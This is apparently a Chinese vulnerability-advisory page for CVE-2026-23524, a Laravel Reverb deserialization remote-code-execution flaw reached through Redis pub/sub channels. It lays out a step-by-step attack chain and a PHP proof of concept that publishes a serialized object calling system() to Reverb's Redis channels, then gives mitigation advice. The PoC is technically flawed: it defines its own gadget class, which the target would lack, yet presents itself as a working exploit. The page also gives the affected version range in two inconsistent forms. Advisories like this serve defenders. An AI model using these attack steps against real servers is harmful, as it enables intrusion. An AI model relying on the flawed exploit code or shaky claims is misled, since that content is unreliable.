IPBUF安全漏洞报告
English
CVE-2026-23524 CVSS 9.8 严重

CVE-2026-23524: Laravel Reverb 反序列化远程代码执行漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2026-23524
漏洞类型
远程代码执行 (RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Laravel Reverb

相关标签

远程代码执行反序列化漏洞Laravel ReverbRedisWebSocketCWE-502PHP水平扩展漏洞

漏洞概述

Laravel Reverb是为Laravel应用程序提供实时WebSocket通信的后端服务。在1.6.3及以下版本中,Reverb存在严重的反序列化漏洞。该漏洞源于Reverb在处理Redis通道数据时,直接将数据传入PHP的unserialize()函数而未对可实例化的类进行任何限制。攻击者可通过构造恶意序列化数据,利用Redis通道注入payload,最终实现远程代码执行。由于Redis服务在生产环境中通常以无认证方式部署,且该漏洞仅在启用水平扩展功能(REVERB_SCALING_ENABLED=true)时才会被触发,这使得漏洞利用变得相对容易。CVSS评分高达9.8,属于严重级别漏洞,对使用Laravel Reverb的WebSocket服务构成重大威胁。攻击者无需认证即可远程利用此漏洞,可在服务器上执行任意命令,完全控制受影响系统。

技术细节

该漏洞的根本原因在于Laravel Reverb 1.6.3及以下版本在处理Redis发布/订阅消息时,直接使用了PHP的unserialize()函数对来自Redis通道的数据进行反序列化操作,而没有使用allowed_classes参数限制可反序列化的类。PHP的unserialize()函数在处理包含对象数据的序列化字符串时,会自动调用对象的__wakeup()、__destruct()等魔术方法,攻击者可利用这一特性构造恶意序列化对象,在反序列化过程中触发代码执行。攻击者需要能够向Redis通道发送消息,在未认证的Redis环境下可直接连接发送恶意数据。成功利用后,攻击者可在运行Reverb的服务器上执行任意PHP代码或系统命令。该漏洞仅影响启用水平扩展的场景,因为只有当REVERB_SCALING_ENABLED=true时,Reverb才会从Redis通道读取并处理消息进行反序列化操作。

攻击链分析

STEP 1
步骤1
攻击者识别目标环境,确认目标运行Laravel Reverb 1.6.3或更低版本,且启用了水平扩展功能(REVERB_SCALING_ENABLED=true)
STEP 2
步骤2
攻击者扫描目标网络,识别暴露的Redis服务端口(默认6379),由于Redis常以无认证方式部署,攻击者可直连
STEP 3
步骤3
攻击者构造恶意PHP序列化对象,利用__destruct()魔术方法在对象销毁时执行系统命令
STEP 4
步骤4
攻击者通过Redis客户端连接Redis服务器,向Reverb的发布/订阅通道(如reverb:presence、reverb:private)发送恶意序列化payload
STEP 5
步骤5
Reverb服务订阅Redis通道,接收恶意数据后直接调用unserialize()进行反序列化,触发__destruct()方法执行任意命令
STEP 6
步骤6
攻击者成功在服务器上执行命令,获取webshell或进一步横向移动,实现对系统的完全控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php // CVE-2026-23524 PoC - Laravel Reverb Unserialize RCE // Target: Laravel Reverb <= 1.6.3 with REVERB_SCALING_ENABLED=true class LaravelReverbExploit { public $cmd; function __destruct() { system($this->cmd); } } // Generate malicious serialized payload $exploit = new LaravelReverbExploit(); $exploit->cmd = 'id > /tmp/pwned.txt'; $payload = serialize($exploit); echo "Malicious Payload: " . $payload . "\n"; // Connect to Redis and publish to Reverb channel $redis = new Redis(); $redis->connect('127.0.0.1', 6379); // Publish to Reverb's presence channel $redis->publish('reverb:presence', $payload); $redis->publish('reverb:private', $payload); echo "Payload sent to Redis channel\n"; // Alternative: Using Predis library // $predis = new Predis\Client(); // $predis->publish('reverb:presence', $payload); ?>

影响范围

Laravel Reverb < 1.7.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)禁用水平扩展功能,设置环境变量REVERB_SCALING_ENABLED=false,这样Reverb将不会从Redis通道读取消息,从而绕过漏洞代码路径;2)为Redis服务设置强密码认证,防止未授权访问;3)确保Redis服务仅可通过私有网络或本地回环地址访问,使用bind 127.0.0.1配置;4)在网络层面使用防火墙限制对Redis端口的访问,仅允许Reverb服务器IP连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表